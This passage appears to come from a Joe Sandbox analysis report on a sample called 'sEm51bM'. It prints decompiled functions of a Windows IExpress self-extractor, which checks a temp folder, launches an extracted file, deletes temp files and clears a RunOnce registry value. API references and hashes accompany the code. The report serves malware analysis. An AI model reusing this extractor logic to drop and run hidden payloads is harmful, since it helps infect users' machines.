							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00326FF4();
						L13:
						_t68 =  *0x3288b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x3210b4);
							_push(0x3210ac);
							L00327202();
							 *0x3288b0 = 2;
						}
						if(_t53 == 0) {
							 *0x3288ac = 0;
						}
						_t71 =  *0x3288b4;
						if( *0x3288b4 != 0 && E00327060(_t71, 0x3288b4) != 0) {
							_t60 =  *0x3288b4; // 0x0
							 *0x32a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x74895b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00322BFB(0x320000, 0, _t59); // executed
							 *0x3281e0 = _t30;
							__eflags =  *0x3281f8;
							if( *0x3281f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x3281e4;
							if( *0x3281e4 == 0) {
								__imp___cexit();
								_t30 =  *0x3281e0; // 0x80070002
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E0032724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00326a60
0x00326a6a
0x00326a6c
0x00326a71
0x00326a78
0x00326a7f
0x00326a85
0x00326a8e
0x00326a91
0x00326a93
0x00326a9c
0x00326aa2
0x00000000
0x00000000
0x00326aa6
0x00326ab4
0x00000000
0x00326aa8
0x00326aaa
0x00326aab
0x00326aab
0x00326abf
0x00326abf
0x00326ac5
0x00326ad1
0x00326ad7
0x00326b05
0x00000000
0x00326ad9
0x00326ad9
0x00326ae9
0x00326af0
0x00326af2
0x00000000
0x00326af4
0x00326af4
0x00326afb
0x00326afb
0x00326af2
0x00326ac7
0x00326ac7
0x00326ac9
0x00326b0b
0x00326b0b
0x00326b11
0x00326b13
0x00326b18
0x00326b1d
0x00326b24
0x00326b24
0x00326b30
0x00326b39
0x00326b39
0x00326b3b
0x00326b42
0x00326b57
0x00326b5f
0x00326b65
0x00326b65
0x00326b67
0x00326b6c
0x00326b6e
0x00326b71
0x00326b74
0x00326b74
0x00326b79
0x00000000
0x00000000
0x00326b7d
0x00326b81
0x00000000
0x00000000
0x00326b83
0x00326b8c
0x00326b8d
0x00326b90
0x00326b90
0x00326b83
0x00326b81
0x00326b94
0x00326b98
0x00326ba2
0x00326b9a
0x00326b9a
0x00326b9a
0x00326ba3
0x00326bab
0x00326bb0
0x00326bb5
0x00326bbc
0x00326bbf
0x00000000
0x00326bbf
0x00326c1e
0x00326c25
0x00326c27
0x00326c2d
0x00326c2d
0x00326c32
0x00000000
0x00326bc5
0x00326bc5
0x00326bc8
0x00326bcc
0x00326bce
0x00326bce
0x00326bd1
0x00326bd3
0x00326bd3
0x00326bd6
0x00326bda
0x00326be1
0x00326be3
0x00326be5
0x00326be5
0x00326be6
0x00326be6
0x00326be9
0x00326bea
0x00326bea
0x00326b74
0x00326c39
0x00326c3e
0x00326c3e
0x00326abe
0x00326abe
0x00000000

APIs

Part of subcall function 00327155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00327182
Part of subcall function 00327155: GetCurrentProcessId.KERNEL32 ref: 00327191
Part of subcall function 00327155: GetCurrentThreadId.KERNEL32 ref: 0032719A
Part of subcall function 00327155: GetTickCount.KERNEL32 ref: 003271A3
Part of subcall function 00327155: QueryPerformanceCounter.KERNEL32(?), ref: 003271B8

GetStartupInfoW.KERNEL32(?,003272B8,00000058), ref: 00326A7F
Sleep.KERNEL32(000003E8), ref: 00326AB4
_amsg_exit.MSVCRT ref: 00326AC9
_initterm.MSVCRT ref: 00326B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00326B49
exit.KERNELBASE ref: 00326BBF
_ismbblead.MSVCRT ref: 00326BDA

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 658f9e26033eca89079af1b561a0547b5d892e7ac88ab1c3a25fbc7dae6703bb
Instruction ID: ceb96bc8ed2da9a38d97c39c4b035b0ed3915614b11ef78af406c654a78f5b6d
Opcode Fuzzy Hash: 658f9e26033eca89079af1b561a0547b5d892e7ac88ab1c3a25fbc7dae6703bb
Instruction Fuzzy Hash: B741D171949774DFDB33AB69FD467AA77A8FF48720F25401EE841E7290CB7448428B90

Uniqueness

Uniqueness Score: -1.00%

Function 003258C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E003258C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00321680(_t20, _t36, _t33);
					E0032658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x329124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E003244B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x329124 = E00326285();
					_t14 = 0;
				}
				return _t14;
			}

0x003258cd
0x003258d1
0x003258d3
0x003258d5
0x003258d8
0x003258d8
0x003258da
0x003258db
0x003258e1
0x003258ed
0x003258f1
0x0032591e
0x0032592c
0x00325943
0x0032594a
0x0032594d
0x00325953
0x00325959
0x00000000
0x0032595b
0x0032595c
0x00325963
0x0032596c
0x00000000
0x00325972
0x00325974
0x0032597a
0x0032597a
0x0032596c
0x003258f3
0x00325901
0x00325906
0x0032590b
0x00325910
0x00325910
0x00325918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00325534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003258E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00325534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325943
LocalFree.KERNEL32(00000000,?,00325534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032594D
CloseHandle.KERNEL32(00000000,?,00325534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00325534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325963

Strings

TMP4351$.TMP, xrefs: 00325923
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003258CD, 003258CF, 00325919, 00325962

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-2825630923
Opcode ID: 1d31b020fe35da563f3475847a4aa48bf7182233f0848a8be99c0931ab058344
Instruction ID: d3542174635e9e5e9fa16afd82722009ec10960680d147d4393d4dcfc11f4015
Opcode Fuzzy Hash: 1d31b020fe35da563f3475847a4aa48bf7182233f0848a8be99c0931ab058344
Instruction Fuzzy Hash: 70112232600630ABC7325F7ABC0DB9B7E9EDF46770F104619F50AD7281CB70994686A0

Uniqueness

Uniqueness Score: -1.00%

Function 00323FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00323FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x328004; // 0x2c4b51c8
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00326CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x329124 = E00326285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0); // executed
					_t45 = 0x4c4;
					E003244B9(0, 0x4c4, _t39,  &_v524, 0x10, 0); // executed
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x328a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x329a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x329a2c = _t44;
						}
					}
				}
				E0032411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x329a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00323fef
0x00323ffa
0x00324001
0x00324008
0x0032400a
0x0032400b
0x00324010
0x0032410a
0x0032411a
0x0032411a
0x0032401c
0x0032401d
0x0032401e
0x0032401f
0x00324033
0x0032403b
0x003240ca
0x003240e9
0x003240f8
0x00324101
0x00324106
0x00324106
0x00324108
0x00324108
0x00000000
0x00324108
0x00324049
0x0032405c
0x00324062
0x00324068
0x0032406e
0x00324070
0x00324077
0x0032407f
0x00324089
0x0032408b
0x0032408b
0x00324089
0x00324077
0x00324091
0x0032409c
0x003240a8
0x003240b8
0x00000000
0x003240c2
0x00000000
0x003240c2

APIs

CreateProcessA.KERNELBASE ref: 00324033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00324049
GetExitCodeProcess.KERNELBASE ref: 0032405C
CloseHandle.KERNEL32(?), ref: 0032409C
CloseHandle.KERNEL32(?), ref: 003240A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003240DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 003240E9

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 0d25bda8d7ea5ad0f720b0fe5be713140e66aa83483ef0f1011f33b33a9dc3bc
Instruction ID: 97b35076559baa8d20a73aac4c364641e78ba8cfbee92c65d7b461fe1c61b08b
Opcode Fuzzy Hash: 0d25bda8d7ea5ad0f720b0fe5be713140e66aa83483ef0f1011f33b33a9dc3bc
Instruction Fuzzy Hash: 3631D631640228ABEB339F65EC49FABB77CEB94710F10416DF905D5160C6305C92CB11

Uniqueness

Uniqueness Score: -1.00%

Function 003251E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003251E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E0032468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E0032468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E003244B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x329124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x329124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E003244B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x329124 = 0x80070714;
					goto L10;
				}
				E003244B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x329124 = E00326285();
				goto L10;
			}

0x003251fb
0x00325207
0x0032520b
0x0032523c
0x00325268
0x00325270
0x0032528b
0x00325293
0x0032529c
0x003252a6
0x003252b0
0x00000000
0x003252b0
0x0032529e
0x00325279
0x00000000
0x0032527b
0x00325273
0x00000000
0x00325273
0x0032524a
0x00325250
0x00325256
0x00000000
0x00325256
0x00325219
0x00325223
0x00000000

APIs

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00322F4D,?,00000002,00000000), ref: 00325201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00325250

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Part of subcall function 00326285: GetLastError.KERNEL32(00325BBC), ref: 00326285

Strings

<None>, xrefs: 00325262
UPROMPT, xrefs: 003251EF, 00325230

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: c991a7ea88f459146e97a3911308d0cce264d4c72f1040f79f2f65f358c105b6
Instruction ID: 3a6717abd1b605ec374a8ad29a8568ac8b68b4c319b38bc498cba395996433a1
Opcode Fuzzy Hash: c991a7ea88f459146e97a3911308d0cce264d4c72f1040f79f2f65f358c105b6
Instruction Fuzzy Hash: 8711B675601721EFD3276B727D46B3B719EEB89350F11482DFB46D91D0DA799C024124

Uniqueness

Uniqueness Score: -1.00%

Function 003252B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E003252B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x328004; // 0x2c4b51c8
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x3291e0; // 0x2b58e90
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x328a24 == 0 &&  *0x329a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x328a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x328a24 == 0 &&  *0x329a30 == 0) {
					_push(_t22);
					E00321781( &_v268, 0x104, _t22, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
					if(( *0x329a34 & 0x00000020) != 0) {
						E003265E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00322390( &_v268);
					_t11 =  *0x328a20; // 0x0
				}
				if( *0x329a40 != 1 && _t11 != 0) {
					_t11 = E00321FE1(_t22); // executed
				}
				 *0x328a20 =  *0x328a20 & 0x00000000;
				return E00326CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x003252b6
0x003252b6
0x003252b6
0x003252c1
0x003252c8
0x003252cb
0x003252cc
0x003252d4
0x003252d6
0x003252d7
0x003252de
0x003252e0
0x003252f2
0x003252fa
0x003252fa
0x00325302
0x00325305
0x0032530c
0x00325312
0x00325316
0x00325316
0x00325317
0x0032531c
0x0032531f
0x00325333
0x00325345
0x00325351
0x00325359
0x00325359
0x00325363
0x00325369
0x0032536f
0x00325374
0x00325374
0x00325381
0x00325387
0x00325387
0x0032538f
0x003253a0

APIs

SetFileAttributesA.KERNELBASE(02B58E90,00000080,?,00000000), ref: 003252F2
DeleteFileA.KERNELBASE(02B58E90), ref: 003252FA
LocalFree.KERNEL32(02B58E90,?,00000000), ref: 00325305
LocalFree.KERNEL32(02B58E90), ref: 0032530C
SetCurrentDirectoryA.KERNELBASE(003211FC,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00325363

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00325334

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-1116576409
Opcode ID: 59a35a1e31ab5148816670cb254bcdb93d5126a2844ba03895aa54ec808c6743
Instruction ID: 315dbd303349d3957e5fd7b61c84e005af0185d9b412aa0e5b7ce1d24324296f
Opcode Fuzzy Hash: 59a35a1e31ab5148816670cb254bcdb93d5126a2844ba03895aa54ec808c6743
Instruction Fuzzy Hash: 5821F335901A24DFDB33DB10FD0AB6937B8BB14750F05511EEA82561A4CFB05E96CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00321FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00321FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x328530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup1"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x00321fee
0x00322005
0x0032200d
0x00322017
0x00000000
0x00322020
0x0032200d
0x00322029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0032538C,?,?,0032538C), ref: 00322005
RegDeleteValueA.KERNELBASE(0032538C,wextract_cleanup1,?,?,0032538C), ref: 00322017
RegCloseKey.ADVAPI32(0032538C,?,?,0032538C), ref: 00322020

Strings

wextract_cleanup1, xrefs: 00321FE7, 0032200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00321FFB

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: f5f9ef12644f9fc39ccccc4e1c387b8128d906e339ea98f7ae2ad8bf756cc65c
Instruction ID: afe9e7684470042cad17fc3fcaa4d16563b403ebfd7aef3bcafd2942489b2ba3
Opcode Fuzzy Hash: f5f9ef12644f9fc39ccccc4e1c387b8128d906e339ea98f7ae2ad8bf756cc65c
Instruction Fuzzy Hash: 50E08630951328BBD7338FD0FC0AF5A7B2DFB01740F204298F904A0060EB715E15E605

Uniqueness

Uniqueness Score: -1.00%

Function 00324CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00324CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x328004; // 0x2c4b51c8
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x3291d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00324E99(_t75);
						L35:
						return E00326CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x328584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x3291e4;
						_t58 = 0x3291e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x3291e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x3291e4;
						_t30 = E00324702( &_v268, 0x3291e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E0032476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00324980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E003247E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x3293f4 =  *0x3293f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x3291e4;
						_t63 = 0x3291e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x3291e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x3291e4;
						_t30 = E00324702( &_v268, 0x3291e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00324C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00324B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
